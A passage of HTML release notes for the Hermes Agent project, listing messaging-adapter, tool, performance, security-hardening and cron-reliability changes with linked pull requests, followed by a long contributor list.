<li>Native WhatsApp media delivery via the Baileys bridge; Teams native <code>send_video</code>/<code>send_voice</code>/<code>send_document</code>; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (<a href="https://github.com/NousResearch/hermes-agent/pull/53598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53598/hovercard">#53598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49308" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49308/hovercard">#49308</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53451/hovercard">#53451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56230/hovercard">#56230</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Signal: AAC voice-note remux + shared markdown formatting (<a href="https://github.com/NousResearch/hermes-agent/pull/49530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49530/hovercard">#49530</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (<a href="https://github.com/NousResearch/hermes-agent/pull/49408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49408/hovercard">#49408</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>Blank Slate setup mode — minimal agent, opt in to everything (<a href="https://github.com/NousResearch/hermes-agent/pull/36733" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36733/hovercard">#36733</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog &amp; UX carried from v0.17.0</li>
<li>Skills: <code>/learn</code> distillation (see Self-Improvement); <code>cloudflare-temporary-deploy</code> optional skill; creative-ideation v2.1.0 method library (<a href="https://github.com/NousResearch/hermes-agent/pull/50849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50849/hovercard">#50849</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42402/hovercard">#42402</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>)</li>
<li>Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (<a href="https://github.com/NousResearch/hermes-agent/pull/50349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50349/hovercard">#50349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52848" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52848/hovercard">#52848</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53973" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53973/hovercard">#53973</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: <code>ctx.profile_name</code> for session-agnostic profile access (<a href="https://github.com/NousResearch/hermes-agent/pull/50346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50346/hovercard">#50346</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (<a href="https://github.com/NousResearch/hermes-agent/pull/55930" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55930/hovercard">#55930</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15624/hovercard">#15624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kartik-mem0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kartik-mem0">@kartik-mem0</a>)</li>
</ul>
<h2>⚡ Performance</h2>
<ul>
<li>Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml <code>CSafeLoader</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/54448" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54448/hovercard">#54448</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54486/hovercard">#54486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>State: merge FTS5 segments + <code>handoff_state</code> index to curb write-lock contention; single-pass <code>list_profiles</code> alias map + skill-count cache + event-loop offload (<a href="https://github.com/NousResearch/hermes-agent/pull/54752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54752/hovercard">#54752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54770" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54770/hovercard">#54770</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Harden MCP-config persistence attack surface; block cron <code>base_url</code> overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Redact Slack App-Level (<code>xapp-</code>) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after <code>browser_back</code> navigation; scope <code>/resume</code> and <code>/sessions</code> to caller origin (IDOR); <code>aiohttp</code> 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (<a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56526" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56526/hovercard">#56526</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56378/hovercard">#56378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on <code>BaseException</code> + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/51051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51051/hovercard">#51051</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50062/hovercard">#50062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50016/hovercard">#50016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50117/hovercard">#50117</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56240/hovercard">#56240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (<a href="https://github.com/NousResearch/hermes-agent/pull/52340" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52340/hovercard">#52340</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50398/hovercard">#50398</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52239/hovercard">#52239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔁 Reverts (in-window, for the record)</h2>
<ul>
<li>cron job storage returned to per-profile (reverts <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517607524" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/32117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32117/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/32117">#32117</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719892950" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/50993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50993/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/50993">#50993</a>); don't clone <code>auth.json</code> (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; <code>prompt_caching.enabled</code> toggle backed out for re-evaluation (<a href="https://github.com/NousResearch/hermes-agent/pull/51116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51116/hovercard">#51116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51732" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51732/hovercard">#51732</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53853" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53853/hovercard">#53853</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56126/hovercard">#56126</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>381 people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.</p>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; MoA first-class, verification/goals, <code>/learn</code>, background review, security round, providers, the P0/P1 clean-sweep</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (projects, memory graph, <code>/journey</code>, multi-terminal, composer refactor wave, pets, verification UX)</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI/docker (unified jobs, faster builds, timings report)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — Windows hardening (console flashes, npm shim, gateway restarts)</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1RB/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1RB">@1RB</a>, @595650661, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abchiaravalle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abchiaravalle">@abchiaravalle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adammatski1972/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adammatski1972">@adammatski1972</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/AetherAgents/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AetherAgents">@AetherAgents</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Afnath-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Afnath-max">@Afnath-max</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agt-user/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agt-user">@agt-user</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmadashfq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmadashfq">@ahmadashfq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aieng-abdullah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aieng-abdullah">@aieng-abdullah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailang323/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailang323">@ailang323</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailthrim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailthrim">@ailthrim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aj-nt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aj-nt">@aj-nt</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alloevil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alloevil">@alloevil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ambition0802/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ambition0802">@ambition0802</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anderskev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anderskev">@anderskev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andressommerhoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andressommerhoff">@andressommerhoff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/angelos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/angelos">@angelos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antimatter543/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antimatter543">@Antimatter543</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arthurzhang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arthurzhang">@arthurzhang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baolingao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baolingao">@baolingao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basilalshukaili/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basilalshukaili">@basilalshukaili</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BBCrypto-web/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BBCrypto-web">@BBCrypto-web</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbenlijie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbenlijie">@benbenlijie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bitcryptic-gw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bitcryptic-gw">@bitcryptic-gw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Blaryxoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Blaryxoff">@Blaryxoff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bogerman1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bogerman1">@bogerman1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradhallett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradhallett">@bradhallett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brett539/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brett539">@brett539</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buihongduc132/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buihongduc132">@buihongduc132</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bykim0119/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bykim0119">@bykim0119</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catapreta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catapreta">@catapreta</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chaithanyak42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chaithanyak42">@chaithanyak42</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/charleneleong-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/charleneleong-ai">@charleneleong-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharlieKerfoot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharlieKerfoot">@CharlieKerfoot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chazmaniandinkle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chazmaniandinkle">@chazmaniandinkle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chrispersico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chrispersico">@chrispersico</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chriswesley4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chriswesley4">@chriswesley4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clovericbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clovericbot">@clovericbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cmcejas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cmcejas">@cmcejas</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cossackx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cossackx">@Cossackx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/counterposition/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/counterposition">@counterposition</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CRWuTJ/hovercard" data-octo-click="hovercard-link-click" 